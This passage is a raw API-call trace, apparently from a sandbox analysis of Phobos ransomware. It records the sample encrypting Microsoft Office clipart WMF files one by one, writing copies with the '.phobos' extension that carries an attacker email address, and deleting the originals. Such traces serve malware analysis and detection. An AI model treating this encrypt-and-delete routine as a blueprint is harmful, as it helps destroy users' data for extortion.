nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0139.248] CryptDestroyKey (hKey=0x752f18) returned 1 [0139.248] CloseHandle (hObject=0x2f8) returned 1 [0139.248] CloseHandle (hObject=0x30c) returned 1 [0139.248] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 1 [0139.249] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0139.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0139.250] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=35346) returned 1 [0139.250] CloseHandle (hObject=0x30c) returned 1 [0139.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 0x220 [0139.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0139.250] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.250] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0139.251] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752d18) returned 1 [0139.251] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.251] ReadFile (in: hFile=0x30c, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x8a12, lpOverlapped=0x0) returned 1 [0139.526] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x8a20, dwBufLen=0x8a20 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x8a20) returned 1 [0139.526] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x8a20, lpOverlapped=0x0) returned 1 [0139.527] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752b18) returned 1 [0139.527] CryptSetKeyParam (hKey=0x752b18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.527] CryptEncrypt (in: hKey=0x752b18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0139.527] CryptDestroyKey (hKey=0x752b18) returned 1 [0139.527] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0139.527] CryptDestroyKey (hKey=0x752d18) returned 1 [0139.527] CloseHandle (hObject=0x30c) returned 1 [0139.527] CloseHandle (hObject=0x2f8) returned 1 [0139.527] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 1 [0139.528] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0139.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0139.528] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=46936) returned 1 [0139.528] CloseHandle (hObject=0x2f8) returned 1 [0139.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 0x220 [0139.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0139.529] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.529] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0139.529] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752e58) returned 1 [0139.529] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.529] ReadFile (in: hFile=0x2f8, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0xb758, lpOverlapped=0x0) returned 1 [0139.595] CryptEncrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xb760, dwBufLen=0xb760 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xb760) returned 1 [0139.595] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xb760, lpOverlapped=0x0) returned 1 [0139.597] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752d58) returned 1 [0139.597] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.597] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0139.597] CryptDestroyKey (hKey=0x752d58) returned 1 [0139.597] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0139.597] CryptDestroyKey (hKey=0x752e58) returned 1 [0139.597] CloseHandle (hObject=0x2f8) returned 1 [0139.597] CloseHandle (hObject=0x30c) returned 1 [0139.597] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 1 [0139.598] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0139.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0139.599] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=15760) returned 1 [0139.599] CloseHandle (hObject=0x30c) returned 1 [0139.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 0x220 [0139.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0139.599] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.599] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0139.600] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752c58) returned 1 [0139.600] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.600] ReadFile (in: hFile=0x30c, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x3d90, lpOverlapped=0x0) returned 1 [0139.670] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x3da0, dwBufLen=0x3da0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x3da0) returned 1 [0139.670] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x3da0, lpOverlapped=0x0) returned 1 [0139.671] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752ed8) returned 1 [0139.671] CryptSetKeyParam (hKey=0x752ed8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.671] CryptEncrypt (in: hKey=0x752ed8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0139.671] CryptDestroyKey (hKey=0x752ed8) returned 1 [0139.671] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0139.671] CryptDestroyKey (hKey=0x752c58) returned 1 [0139.671] CloseHandle (hObject=0x30c) returned 1 [0139.671] CloseHandle (hObject=0x2f8) returned 1 [0139.671] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 1 [0139.672] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0139.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0139.673] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=3332) returned 1 [0139.673] CloseHandle (hObject=0x2f8) returned 1 [0139.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 0x220 [0139.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0139.673] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.673] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0139.673] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x7530d8) returned 1 [0139.673] CryptSetKeyParam (hKey=0x7530d8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.673] ReadFile (in: hFile=0x2f8, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0xd04, lpOverlapped=0x0) returned 1 [0139.679] CryptEncrypt (in: hKey=0x7530d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xd10, dwBufLen=0xd10 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xd10) returned 1 [0139.679] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xd10, lpOverlapped=0x0) returned 1 [0139.680] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752f98) returned 1 [0139.680] CryptSetKeyParam (hKey=0x752f98, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.680] CryptEncrypt (in: hKey=0x752f98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0139.680] CryptDestroyKey (hKey=0x752f98) returned 1 [0139.680] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0139.680] CryptDestroyKey (hKey=0x7530d8) returned 1 [0139.680] CloseHandle (hObject=0x2f8) returned 1 [0139.680] CloseHandle (hObject=0x30c) returned 1 [0139.680] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 1 [0139.681] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0139.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0139.681] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=1456) returned 1 [0139.681] CloseHandle (hObject=0x30c) returned 1 [0139.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 0x220 [0139.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0139.681] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.681] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0139.682] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752fd8) returned 1 [0139.682] CryptSetKeyParam (hKey=0x752fd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.682] ReadFile (in: hFile=0x30c, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x5b0, lpOverlapped=0x0) returned 1 [0139.683] CryptEncrypt (in: hKey=0x752fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x5c0) returned 1 [0139.683] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x5c0, lpOverlapped=0x0) returned 1 [0139.684] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752c58) returned 1 [0139.684] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.684] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0139.684] CryptDestroyKey (hKey=0x752c58) returned 1 [0139.684] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0139.685] CryptDestroyKey (hKey=0x752fd8) returned 1 [0139.685] CloseHandle (hObject=0x30c) returned 1 [0139.685] CloseHandle (hObject=0x2f8) returned 1 [0139.685] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 1 [0139.685] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0139.685] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0139.686] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=5314) returned 1 [0139.686] CloseHandle (hObject=0x2f8) returned 1 [0139.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 0x220 [0139.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.686] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0139.686] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.686] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.686] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 